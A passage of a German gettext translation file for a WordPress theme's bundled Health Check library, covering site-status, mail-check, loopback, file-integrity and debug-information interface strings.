href=\"%s\">WordPress-Adresse</a> ist standardmäßig nicht für die Verwendung von HTTPS eingerichtet." #: includes/lib/td-health-check/includes/class-health-check-site-status.php:693 msgid "WordPress.org is reachable from your server." msgstr "WordPress.org ist von deinem Server aus erreichbar." #. translators: %1$s: Name of the library, %2$s: Number of version. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:659 #: includes/lib/td-health-check/includes/class-health-check-site-status.php:674 msgid "WordPress' utf8mb4 support requires MySQL client library (%1$s) version %2$s or newer." msgstr "Die utf8mb4-Unterstützung von WordPress erfordert die Version %2$s oder neuer der MySQL-Client-Bibliothek (%1$s)." #: includes/lib/td-health-check/includes/class-health-check-site-status.php:632 msgid "Your MariaDB version supports utf8mb4" msgstr "Deine MariaDB-Version unterstützt utf8mb4" #. translators: %s: Number of version. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:622 msgid "WordPress' utf8mb4 support requires MariaDB version %s or greater" msgstr "Die utf8mb4-Unterstützung von WordPress erfordert MariaDB-Version %s oder höher" #: includes/lib/td-health-check/includes/class-health-check-site-status.php:610 msgid "Your MySQL version supports utf8mb4" msgstr "Deine MySQL-Version unterstützt utf8mb4" #. translators: %s: Number of version. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:600 msgid "WordPress' utf8mb4 support requires MySQL version %s or greater" msgstr "Die utf8mb4-Unterstützung von WordPress erfordert MySQL-Version %s oder höher" #. translators: %s: The name of the database engine being used. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:567 msgid "You are using a <code>wp-content/db.php</code> drop-in which might mean that a %s database is not being used." msgstr "Du verwendest einen <code>wp-content/db.php</code> Drop-in, was bedeuten könnte, dass keine %s-Datenbank verwendet wird." #. translators: %1$s: The database engine in use (MySQL or MariaDB). %2$s: #. Database server minimum version number. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:556 msgid "WordPress 3.2+ requires %1$s version %2$s or higher." msgstr "WordPress 3.2+ benötigt %1$s Version %2$s oder höher." #. translators: %1$s: The database engine in use (MySQL or MariaDB). %2$s: #. Database server recommended version number. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:546 msgid "For performance and security reasons, we strongly recommend running %1$s version %2$s or higher." msgstr "Aus Performance- und Sicherheitsgründen empfehlen wir dringend die Verwendung der %1$s-Version %2$s oder höher." #: includes/lib/td-health-check/includes/class-health-check-site-status.php:530 msgid "Your PHP install supports JSON." msgstr "Deine PHP-Installation unterstützt JSON." #: includes/lib/td-health-check/includes/class-health-check-site-status.php:522 msgid "The PHP install on your server has the JSON extension disabled and is therefore not compatible with WordPress 3.2 or newer." msgstr "Die PHP-Installation auf deinem Server hat die JSON-Erweiterung deaktiviert und ist daher nicht kompatibel mit WordPress 3.2 oder neuer." #. translators: %1$s: Current PHP version. %2$s: Recommended PHP version. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:480 msgid "Your version of PHP, %1$s, is very outdated and no longer receiving security updates. You should contact your host for an upgrade, WordPress recommends using PHP version %2$s." msgstr "Deine Version von PHP, %1$s, ist veraltet und erhält keine Sicherheitsupdates mehr. Du solltest deinen Hosting-Anbieter für ein Upgrade kontaktieren, WordPress empfiehlt die Verwendung der PHP-Version %2$s." #. translators: %1$s: Current PHP version. %2$s: Recommended PHP version. %3$s: #. Minimum PHP version. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:465 msgid "Your version of PHP, %1$s, is very outdated and no longer receiving security updates and is not supported by WordPress. You should contact your host for an upgrade, WordPress recommends using PHP version %2$s, but will work with version %3$s or newer." msgstr "Deine Version von PHP, %1$s, ist sehr veraltet und erhält keine Sicherheitsaktualisierungen mehr und wird von WordPress nicht mehr unterstützt. Du solltest deinen Hosting-Anbieter für ein Upgrade kontaktieren. WordPress empfiehlt die Verwendung der PHP-Version %2$s, wird aber mit der Version %3$s oder neuer funktionieren." #: includes/lib/td-health-check/includes/class-health-check-site-status.php:461 #: includes/lib/td-health-check/includes/class-health-check-site-status.php:476 msgctxt "The link to the Update PHP page, which may be localized." msgid "https://wordpress.org/support/upgrade-php/" msgstr "https://wordpress.org/support/upgrade-php/" #: includes/lib/td-health-check/includes/class-health-check-site-status.php:445 msgid "Your site does not have a default theme, default themes are used by WordPress automatically if anything is wrong with your normal theme." msgstr "Deine Website verfügt über kein Standard-Theme. Standard-Themes werden von WordPress automatisch verwendet, wenn mit deinem gewohnten Theme etwas nicht stimmt." #. translators: %1$d: The amount of inactive themes. %2$s: The default theme #. for WordPress. %3$s: The currently active theme. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:427 msgid "Your site has %1$d inactive theme, other than %2$s, the default WordPress theme, and %3$s, your active theme. It is recommended to remove any unused themes to enhance your sites security." msgid_plural "Your site has %1$d inactive themes, other than %2$s, the default WordPress theme, and %3$s, your active theme. It is recommended to remove any unused themes to enhance your sites security." msgstr[0] "Deine Website hat %1$d inaktives Theme, außer %2$s, das standardmäßige WordPress-Theme, und %3$s, dein aktives Theme. Um die Sicherheit deiner Website zu erhöhen wird empfohlen, alle nicht verwendeten Themes zu entfernen." msgstr[1] "Deine Website hat %1$d inaktive Themes, außer %2$s, das standardmäßige WordPress-Theme, und %3$s, dein aktives Theme. Um die Sicherheit deiner Website zu erhöhen wird empfohlen, alle nicht verwendeten Themes zu entfernen." #. translators: %1$d: The amount of inactive themes. %2$s: The default theme #. for WordPress. %3$s: The currently active theme. %4$s: The active themes #. parent theme. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:409 msgid "Your site has %1$d inactive theme. To enhance your sites security it is recommended to remove any unused themes. You should keep %2$s, the default WordPress theme, %3$s, your current theme and %4$s, the parent theme." msgid_plural "Your site has %1$d inactive themes. To enhance your sites security it is recommended to remove any unused themes. You should keep %2$s, the default WordPress theme, %3$s, your current theme and %4$s, the parent theme." msgstr[0] "Deine Website hat %1$d inaktives Theme. Um die Sicherheit deiner Website zu erhöhen wird empfohlen, nicht verwendete Themes zu entfernen. Du solltest %2$s, das standardmäßige WordPress-Theme, %3$s, dein aktuelles Theme und %4$s, das übergeordnete Theme, behalten." msgstr[1] "Deine Website hat %1$d inaktive Themes. Um die Sicherheit deiner Website zu erhöhen wird empfohlen, nicht verwendete Themes zu entfernen. Du solltest %2$s, das standardmäßige WordPress-Theme, %3$s, dein aktuelles Theme und %4$s, das übergeordnete Theme, behalten." #. translators: %d: The amount of themes. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:390 msgid "Your site has %d installed theme, and it is up to date." msgid_plural "Your site has %d installed themes, and they are all up to date." msgstr[0] "Deine Website hat %d installiertes Theme und ist auf dem neuesten Stand." msgstr[1] "Deine Website hat %d installierte Themes und ist auf dem neuesten Stand." #. translators: %d: The amount of outdated themes. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:376 msgid "Your site has %d theme waiting to be updated." msgid_plural "Your site has %d themes waiting to be updated." msgstr[0] "Deine Website hat %d Theme, das darauf wartet, aktualisiert zu werden." msgstr[1] "Deine Website hat %d Themes, die darauf warten, aktualisiert zu werden." #. translators: %d: The amount of inactive plugins. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:251 msgid "Your site has %d inactive plugin, it is recommended to remove any unused plugins to enhance your site security." msgid_plural "Your site has %d inactive plugins, it is recommended to remove any unused plugins to enhance your site security." msgstr[0] "Deine Website hat %d inaktives Plugin. Es wird empfohlen, alle unbenutzten Plugins zu entfernen, um die Sicherheit deiner Website zu erhöhen." msgstr[1] "Deine Website hat %d inaktive Plugins. Es wird empfohlen, alle unbenutzten Plugins zu entfernen, um die Sicherheit deiner Website zu erhöhen." #. translators: %d: The amount of plugins. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:234 msgid "Your site has %d active plugin, and it is up to date." msgid_plural "Your site has %d active plugins, and they are all up to date." msgstr[0] "Deine Website hat %d aktives Plugin und dies ist auf dem neusten Stand." msgstr[1] "Deine Website hat %d aktive Plugins und diese sind auf dem neusten Stand." #. translators: %d: The amount of outdated plugins. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:220 msgid "Your site has %d plugin waiting to be updated." msgid_plural "Your site has %d plugins waiting to be updated." msgstr[0] "Deine Website hat %d Plugin, das darauf wartet, aktualisiert zu werden." msgstr[1] "Deine Website hat %d Plugins, die darauf warten, aktualisiert zu werden." #. translators: %1$s: Your current version of WordPress. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:136 msgid "You are running WordPress %1$s." msgstr "Du verwendest WordPress %1$s." #. translators: %1$s: Your current version of WordPress. %2$s The latest #. version of WordPress available. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:122 msgid "%1$s ( Latest version: %2$s ) - We strongly urge you to update, as minor updates are often security related." msgstr "%1$s (Letzte Version: %2$s) – Wir raten dir dringend zu einem Update, da kleinere Updates oft sicherheitsrelevant sind." #. translators: %1$s: Your current version of WordPress. %2$s The latest #. version of WordPress available. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:108 msgid "%1$s ( Latest version: %2$s )" msgstr "%1$s (Letzte version: %2$s)" #. translators: %1$s: Your current version of WordPress. %2$s The latest #. version of WordPress available. #: includes/lib/td-health-check/includes/class-health-check-site-status.php:86 #: includes/lib/td-health-check/includes/class-health-check-site-status.php:149 msgid "We were unable to check if any new versions are available" msgstr "Wir konnten nicht prüfen, ob neue Versionen verfügbar sind" #: includes/lib/td-health-check/includes/class-health-check-mail-check.php:116 msgid "Mail Check" msgstr "Mail-Check" #: includes/lib/td-health-check/includes/class-health-check-mail-check.php:104 msgid "Send test mail" msgstr "Testmail senden" #: includes/lib/td-health-check/includes/class-health-check-mail-check.php:98 msgid "Additional message" msgstr "Zusätzliche Nachricht" #: includes/lib/td-health-check/includes/class-health-check-mail-check.php:92 msgid "E-mail" msgstr "E-Mail" #: includes/lib/td-health-check/includes/class-health-check-mail-check.php:82 msgid "The Mail Check will invoke the <code>wp_mail()</code> function and check if it succeeds. We will use the E-mail address you have set up, but you can change it below if you like." msgstr "Der Mail-Check ruft die Funktion <code>wp_mail()</code> auf und prüft, ob diese erfolgreich ist. Wir verwenden die von dir eingerichtete E-Mail-Adresse, die du aber bei Bedarf unten ändern kannst." #: includes/lib/td-health-check/includes/class-health-check-mail-check.php:55 msgid "It seems there was a problem sending the e-mail." msgstr "Anscheinend ist beim Senden der E-Mail ein Problem aufgetreten." #: includes/lib/td-health-check/includes/class-health-check-mail-check.php:51 msgid "We have just sent an e-mail using <code>wp_mail()</code> and it seems to work. Please check your inbox and spam folder to see if you received it." msgstr "Wir haben soeben eine E-Mail mit <code>wp_mail()</code> gesendet und es scheint zu funktionieren. Bitte schau in deinem Posteingang und deinem Spam-Ordner nach, ob du die E-Mail erhalten hast." #. translators: %1$s: website name. %2$s: website url. %3$s: The date the #. message was sent. %4$s: The time the message was sent. %5$s: Additional #. custom message from the administrator. #: includes/lib/td-health-check/includes/class-health-check-mail-check.php:39 msgid "Hi! This test message was sent by the Health Check plugin from %1$s (%2$s) on %3$s at %4$s. Since you’re reading this, it obviously works. Additional message from admin: %5$s" msgstr "Hallo! Diese Testnachricht wurde vom Website-Zustand-Plugin von %1$s (%2$s) am %3$s um %4$s gesendet. Da du dies liest, funktioniert es offensichtlich. Zusätzliche Nachricht vom Administrator: %5$s" #. translators: %s: website url. #: includes/lib/td-health-check/includes/class-health-check-mail-check.php:35 msgid "Health Check – Test Message from %s" msgstr "Website-Zustand – Testnachricht von %s" #. translators: %s: The active theme name. #: includes/lib/td-health-check/includes/class-health-check-loopback.php:182 msgid "Active theme: %s" msgstr "Aktives Theme: %s" #: includes/lib/td-health-check/includes/class-health-check-loopback.php:174 #: includes/lib/td-health-check/includes/class-health-check-loopback.php:185 msgid "Waiting..." msgstr "Warten ..." #: includes/lib/td-health-check/includes/class-health-check-loopback.php:157 msgid "Result from testing without any plugins active and a default theme" msgstr "Ergebnis des Tests ohne aktive Plugins und mit einem Standard-Theme" #: includes/lib/td-health-check/includes/class-health-check-loopback.php:95 msgid "The loopback request to your site completed successfully." msgstr "Die Loopback-Anfrage an deine Website wurde erfolgreich abgeschlossen." #. translators: %d: The HTTP response code returned. #: includes/lib/td-health-check/includes/class-health-check-loopback.php:87 msgid "The loopback request returned an unexpected status code, %d, this may affect tools such as WP_Cron, or theme and plugin editors." msgstr "Die Loopback-Anforderung gab einen unerwarteten Statuscode, %d, zurück. Dies kann Tools wie WP_Cron oder Themes- und Plugin-Editoren betreffen." #. translators: %1$d: The HTTP response code. %2$s: The error message returned. #: includes/lib/td-health-check/includes/class-health-check-loopback.php:74 msgid "Error encountered: (%1$d) %2$s" msgstr "Fehler aufgetreten: (%1$d) %2$s" #: includes/lib/td-health-check/includes/class-health-check-loopback.php:71 msgid "The loopback request to your site failed, this may prevent WP_Cron from working, along with theme and plugin editors." msgstr "Die Loopback-Anfrage an deine Website ist fehlgeschlagen, was das Funktionieren von WP_Cron zusammen mit Themes- und Plugin-Editoren verhindern kann." #: includes/lib/td-health-check/includes/class-health-check-files-integrity.php:177 msgid "File Integrity" msgstr "Datei-Integrität" #: includes/lib/td-health-check/includes/class-health-check-files-integrity.php:164 msgid "Check the Files Integrity" msgstr "Prüfen der Datei-Integrität" #: includes/lib/td-health-check/includes/class-health-check-files-integrity.php:160 msgid "The File Integrity checks all the core files with the <code>checksums</code> provided by the WordPress API to see if they are intact. If there are changes you will be able to make a Diff between the files hosted on WordPress.org and your installation to see what has been changed." msgstr "Die Datei-Integrität prüft alle Core-Dateien mit den von der WordPress-API bereitgestellten <code>Prüfsummen</code> um zu sehen, ob diese intakt sind. Wenn es Änderungen gibt, kannst du einen Vergleich zwischen den auf WordPress.org gehosteten Dateien und deiner Installation machen, um zu sehen, was geändert wurde." #: includes/lib/td-health-check/includes/class-health-check-files-integrity.php:119 #: includes/lib/td-health-check/includes/class-health-check-files-integrity.php:125 msgid "Reason" msgstr "Ursache" #: includes/lib/td-health-check/includes/class-health-check-files-integrity.php:117 #: includes/lib/td-health-check/includes/class-health-check-files-integrity.php:123 msgid "File" msgstr "Datei" #: includes/lib/td-health-check/includes/class-health-check-files-integrity.php:115 #: includes/lib/td-health-check/includes/class-health-check-files-integrity.php:121 #: languages/admin-app-translations.php:1877 msgid "Status" msgstr "Status" #: includes/lib/td-health-check/includes/class-health-check-files-integrity.php:113 msgid "One possible reason for this may be that your installation contains translated versions. An easy way to clear this is to reinstall WordPress. Don't worry. This will only affect WordPress' own files, not your themes, plugins or uploaded media." msgstr "Ein möglicher Grund hierfür kann sein, dass deine Installation übersetzte Versionen enthält. Eine einfache Möglichkeit dies zu beheben ist die Neuinstallation von WordPress. Mach dir keine Sorgen. Dies wird nur die WordPress-eigenen Dateien betreffen, nicht deine Themes, Plugins oder hochgeladenen Medien." #: includes/lib/td-health-check/includes/class-health-check-files-integrity.php:112 msgid "It appears as if some files may have been modified." msgstr "Es scheint, als ob einige Dateien verändert wurden." #: includes/lib/td-health-check/includes/class-health-check-files-integrity.php:108 msgid "All files passed the check. Everything seems to be ok!" msgstr "Alle Dateien haben die Prüfung bestanden. Alles scheint in Ordnung zu sein!" #: includes/lib/td-health-check/includes/class-health-check-files-integrity.php:84 msgid "File not found" msgstr "Datei nicht gefunden" #: includes/lib/td-health-check/includes/class-health-check-files-integrity.php:81 msgid "(View Diff)" msgstr "(Vergleich anzeigen)" #: includes/lib/td-health-check/includes/class-health-check-files-integrity.php:81 msgid "Content changed" msgstr "Inhalt geändert" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:812 msgid "- Some errors, likely caused by invalid permissions, were encountered when determining the size of your installation. This means the values represented may be inaccurate." msgstr "– Bei der Bestimmung der Größe deiner Installation sind einige Fehler aufgetreten, die wahrscheinlich durch ungültige Berechtigungen verursacht wurden. Dies bedeutet, dass die dargestellten Werte möglicherweise ungenau sind." #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:808 msgid "Total installation size" msgstr "Gesamtgröße der Installation" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:804 msgid "Whole WordPress Directory" msgstr "Ganzes WordPress-Verzeichnis" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:800 msgid "Database size" msgstr "Datenbankgröße" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:796 msgid "Plugins Directory" msgstr "Plugins-Verzeichnis" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:792 msgid "Themes Directory" msgstr "Themes-Verzeichnis" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:788 msgid "Uploads Directory" msgstr "Upload-Verzeichnis" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:693 msgid "The Must Use Plugins directory" msgstr "Das Must-Use-Plugins-Verzeichnis" #. translators: %1$s: Theme name. %2$s: Theme slug. #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:681 msgid "%1$s (%2$s)" msgstr "%1$s (%2$s)" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:638 msgid "Supported theme features" msgstr "Unterstützte Theme-Funktionen" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:635 msgid "Not a child theme" msgstr "Kein Child-Theme" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:634 msgid "Parent theme" msgstr "Übergeordnetes Theme" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:630 msgid "Author website" msgstr "Website des Autors" #. translators: %s: Plugin version number. #. translators: %s: Theme version number. #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:547 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:578 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:668 msgid "Version %s" msgstr "Version %s" #. translators: %s: Plugin author name. #. translators: %s: Theme author name. #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:543 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:574 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:664 msgid "By %s" msgstr "Von %s" #. translators: %1$s: Plugin version number. %2$s: Plugin author name. #. translators: %1$s: Theme version number. %2$s: Theme author name. #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:539 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:570 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:660 msgid "Version %1$s by %2$s" msgstr "Version %1$s von %2$s" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:535 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:566 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:656 msgid "No version or author information available" msgstr "Keine Versions- oder Autoren-Informationen verfügbar" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:524 msgid "Database prefix" msgstr "Datenbankpräfix" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:519 msgid "Database name" msgstr "Datenbankname" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:514 msgid "Database host" msgstr "Datenbank-Host" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:509 msgid "Database user" msgstr "Datenbankbenutzer" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:505 msgid "Client version" msgstr "Client-Version" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:501 msgid "Server version" msgstr "Server-Version" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:497 msgid "Extension" msgstr "Erweiterung" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:457 msgid "Your htaccess file only contains core WordPress features" msgstr "Deine htaccess-Datei enthält nur die WordPress-Core-Funktionen" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:457 msgid "Custom rules have been added to your htaccess file" msgstr "Individuelle Regeln wurden zu deiner htaccess-Datei hinzugefügt" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:456 msgid "htaccess rules" msgstr "htaccess-Regeln" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:443 msgid "Is the Imagick library available" msgstr "Ist die Imagick-Bibliothek verfügbar" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:438 msgid "SUHOSIN installed" msgstr "SUHOSIN installiert" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:433 msgid "Your server does not support cURL" msgstr "Dein Server unterstützt cURL nicht" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:427 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:432 msgid "cURL Version" msgstr "cURL-Version" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:419 msgid "PHP post max size" msgstr "Maximale Größe der PHP-Post-Daten" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:415 msgid "Upload max filesize" msgstr "Maximale Dateigröße beim Upload" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:411 msgid "Max input time" msgstr "Maximale Eingabezeit" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:407 msgid "PHP memory limit" msgstr "PHP-Speicherlimit" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:403 msgid "PHP time limit" msgstr "PHP-Zeitlimit" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:399 msgid "PHP max input variables" msgstr "Maximale PHP-Eingabevariablen" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:395 msgid "Unable to determine some settings as the ini_get() function has been disabled" msgstr "Einige Einstellungen konnten nicht ausgelesen werden, da die Funktion ini_get() deaktiviert ist" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:394 msgid "Server settings" msgstr "Server-Einstellungen" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:389 msgid "Unable to determine PHP SAPI" msgstr "Es ist nicht möglich, die PHP-SAPI zu bestimmen" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:388 msgid "PHP SAPI" msgstr "PHP-SAPI" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:383 msgid "(Supports 64bit values)" msgstr "(Unterstützt 64bit-Werte)" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:380 msgid "Unable to determine PHP version" msgstr "PHP-Version kann nicht bestimmt werden" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:379 #: includes/lib/td-health-check/pages/site-status.php:44 msgid "PHP Version" msgstr "PHP-Version" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:376 msgid "Unable to determine server architecture" msgstr "Server-Architektur kann nicht bestimmt werden" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:375 msgid "Server architecture" msgstr "Server-Architektur" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:369 msgid "Ghostscript Version" msgstr "Ghostscript-Version" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:366 msgid "Unable to determine if Ghostscript is installed" msgstr "Es kann nicht festgestellt werden, ob Ghostscript installiert ist" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:364 #: languages/admin-app-translations.php:2109 msgid "Not available" msgstr "Nicht verfügbar" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:358 msgid "GD not available" msgstr "GD ist nicht verfügbar" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:357 msgid "GD Version" msgstr "GD-Version" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:345 msgid "Imagick Resource Limits" msgstr "Imagick-Ressourcen-Limits" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:329 msgid "ImageMagick Version" msgstr "ImageMagick-Version" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:325 msgid "Imagick Module Version" msgstr "Imagick-Modul-Version" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:312 msgid "Active editor" msgstr "Aktiver Editor" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:296 msgid "Create loopback requests" msgstr "Loopback-Anfragen erstellen" #. translators: %1$s: The IP address WordPress.org resolves to. %2$s: The error #. returned by the lookup. #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:287 #: includes/lib/td-health-check/includes/class-health-check-site-status.php:703 msgid "Unable to reach WordPress.org at %1$s: %2$s" msgstr "WordPress.org kann unter %1$s: %2$s nicht erreicht werden" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:279 msgid "WordPress.org is reachable" msgstr "WordPress.org ist erreichbar" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:277 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:284 #: includes/lib/td-health-check/pages/site-status.php:74 msgid "Communication with WordPress.org" msgstr "Verbindung mit WordPress.org" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:259 msgid "Network Count" msgstr "Anzahl der Netzwerke" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:255 msgid "Site Count" msgstr "Anzahl der Websites" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:251 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:266 msgid "User Count" msgstr "Anzahl der Benutzer" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:230 msgid "The themes directory" msgstr "Das Themes-Verzeichnis" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:226 msgid "The plugins directory" msgstr "Das Plugins-Verzeichnis" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:222 msgid "The uploads directory" msgstr "Das Uploads-Verzeichnis" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:218 msgid "The wp-content directory" msgstr "Das „wp-content“-Verzeichnis" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:215 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:219 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:223 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:227 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:231 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:694 msgid "Not writable" msgstr "Nicht beschreibbar" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:215 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:219 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:223 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:227 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:231 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:694 msgid "Writable" msgstr "Beschreibbar" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:214 msgid "The main WordPress directory" msgstr "Das Hauptverzeichnis von WordPress" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:211 msgid "The status of various locations WordPress needs to write files in various scenarios." msgstr "Der Status der verschiedenen Standorte, den WordPress benötigt, um Dateien in verschiedenen Situationen schreiben zu können." #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:210 msgid "Filesystem Permissions" msgstr "Dateisystem-Berechtigungen" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:169 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:177 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:181 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:185 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:189 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:193 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:197 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:201 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:205 msgid "Disabled" msgstr "Deaktiviert" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:169 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:177 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:181 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:185 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:189 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:193 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:197 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:201 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:205 msgid "Enabled" msgstr "Aktiviert" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:157 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:161 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:165 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:169 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:173 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:177 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:181 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:185 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:189 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:193 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:197 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:201 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:205 #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:631 msgid "Undefined" msgstr "Nicht definiert" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:153 msgid "These values represent values set in your websites code which affect WordPress in various ways that may be of importance when seeking help with your site." msgstr "Diese Werte stellen in deinem Website-Code festgelegte Werte dar, die sich in WordPress auf verschiedene Weise auswirken und bei der Hilfesuche für deine Website von Bedeutung sein können." #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:152 msgid "WordPress Constants" msgstr "WordPress-Konstanten" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:148 msgid "Database" msgstr "Datenbank" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:144 msgid "The options shown below relate to your server setup. If changes are required, you may need your web host's assistance." msgstr "Die unten aufgeführten Optionen beziehen sich auf deine Serverkonfiguration. Wenn Änderungen erforderlich sind, benötigst du möglicherweise die Unterstützung deines Webhosters." #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:143 msgid "Server" msgstr "Server" #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:139 msgid "Media handling" msgstr "Medien-Handhabung" #: 